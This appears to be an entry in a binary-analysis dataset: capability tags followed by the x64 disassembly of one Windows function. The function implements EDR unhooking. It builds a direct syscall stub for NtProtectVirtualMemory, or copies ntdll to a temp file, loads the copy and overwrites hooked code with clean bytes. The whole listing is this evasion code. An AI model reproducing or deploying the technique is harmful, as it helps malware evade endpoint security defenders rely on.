Function at 0x140005b40
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x140051018]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov r13d, edx
mov rdi, rcx
test edx, edx
je 0x140005ca7
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x208
call fcn.14000e900
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x208
call fcn.14000e900
mov r15, 0xffffffffffffffff
mov qword [rsp + 0x58], r15
call fcn.1400036c0
mov rsi, qword [0x140055290]
mov rbx, rax
test rsi, rsi
jne 0x140005bd9
mov rcx, qword [rax + 0x30]
lea edx, [rsi + 1]
call fcn.1400097c0
mov rsi, rax
mov qword [0x140055290], rax
cmp qword [0x140055280], 0
jne 0x140005c12
mov rcx, qword [rbx + 0x50]
call fcn.140004410
test rax, rax
je 0x140005f37
xor edx, edx
mov rcx, rax
call fcn.1400097c0
mov rdx, qword [rsi + 0x20]
mov rcx, rax
mov qword [0x140055280], rax
call fcn.140009300
mov rdx, qword [rdi + 0x18]
xor edi, edi
mov ecx, edi
lea rax, [rdx + 0x10]
movups xmm1, xmmword [rdx]
movsd xmm0, qword [rdx + 0x10]
movups xmmword [rsp + 0x60], xmm1
movsd qword [rsp + 0x50], xmm0
cmp qword [rax], rcx
je 0x140005c4b
nop word [rax + rax]
inc ecx
lea rax, [rax + 0x18]
cmp qword [rax], rdi
jne 0x140005c40
mov rbx, qword [rdx + 8]
movsxd rax, ecx
lea rcx, [rax + rax*2]
movsd xmm0, qword [rdx + rcx*8 - 8]
movsd qword [rsp + 0x50], xmm0
mov r14, qword [rsp + 0x50]
sub r14, rbx
add r14, qword [rdx + rcx*8 - 0x10]
mov ecx, r13d
sub ecx, 1
je 0x140005e5f
sub ecx, 1
je 0x140005e55
sub ecx, 1
je 0x140005e55
sub ecx, 1
je 0x140005dce
cmp ecx, 1
je 0x140005cd3
lea rcx, str.Unhook_method_does_not_exist__exiting..._n
call fcn.140001070
xor eax, eax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.14000d570
mov rbx, qword [rsp + 0x510]
add rsp, 0x4c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edx, 0xb
mov dword [rsp + 0x30], 0x424242b8
xor ecx, ecx
mov byte [rsp + 0x34], 0x42
mov r8d, 0x3000
mov word [rsp + 0x38], 0x8b4c
mov word [rsp + 0x3c], 0x50f
lea r9d, [rdx - 7]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x140005dc2
lea rax, [0x14000b920]
mov esi, 0xffffffff
mov qword [rsp + 0x40], rax
lea r15, [rsp + 0x40]
lea rax, [0x14000beb0]
mov qword [rsp + 0x48], rax
lea rax, [0x14000bd50]
mov qword [rsp + 0x50], rax
nop
lea rcx, str.NtProtectVirtualMemory
call qword [r15]
cmp eax, 0xffffffff
je 0x140005d5a
cmp esi, 0xffffffff
je 0x140005d58
cmp esi, eax
jne 0x140005dc2
mov esi, eax
inc edi
add r15, 8
cmp edi, 3
jb 0x140005d40
cmp esi, 0xffffffff
je 0x140005dc2
mov dword [rsp + 0x31], esi
lea r9, [rbp - 0x78]
mov eax, dword [rsp + 0x30]
mov edx, 0xb
mov dword [r12], eax
mov rcx, r12
movzx eax, byte [rsp + 0x34]
mov byte [r12 + 4], al
movzx eax, word [rsp + 0x38]
lea r8d, [rdx + 0x15]
mov word [r12 + 5], ax
movzx eax, word [rsp + 0x3c]
mov byte [r12 + 7], 0xd1
mov word [r12 + 8], ax
mov byte [r12 + 0xa], 0xc3
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r15, qword [rsp + 0x58]
jmp 0x140005e84
lea rcx, str.Something_wrong_happened_with_CreateSyscallStubWithVirtuallAlloc__aborting..._n
jmp 0x140005ca2
mov edx, 0x104
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea r8, [0x140032f28]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rdx, [rbp - 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.._ntdlol.txt
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x70]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov edx, 1
mov r15, rax
call fcn.1400097c0
mov rsi, rax
mov rcx, rax
jmp 0x140005e62
mov ecx, r13d
call fcn.140005f50
jmp 0x140005e81
mov rcx, rsi
lea rdx, str.NtProtectVirtualMemory
call fcn.140009990
test eax, eax
jne 0x140005e77
mov r12, rdi
jmp 0x140005e84
mov edx, eax
mov rcx, rsi
call fcn.140009270
mov r12, rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rbx
mov r9d, 0x40
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov qword [rbp - 0x80], r14
lea rdx, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
call r12
test eax, eax
js 0x140005ca7
test r14, r14
je 0x140005ee0
mov rdx, qword [rsp + 0x60]
sub rdx, rbx
nop word [rax + rax]
movzx eax, byte [rbx + rdx]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub r14, 1
jne 0x140005ed0
mov r9d, dword [rsp + 0x78]
lea rax, [rsp + 0x78]
lea r8, [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
call r12
test eax, eax
js 0x140005ca7
cmp r13d, 4
jne 0x140005f2d
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140005f23
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
jmp 0x140005ca9
mov ecx, 1
call fcn.1400119f0
int3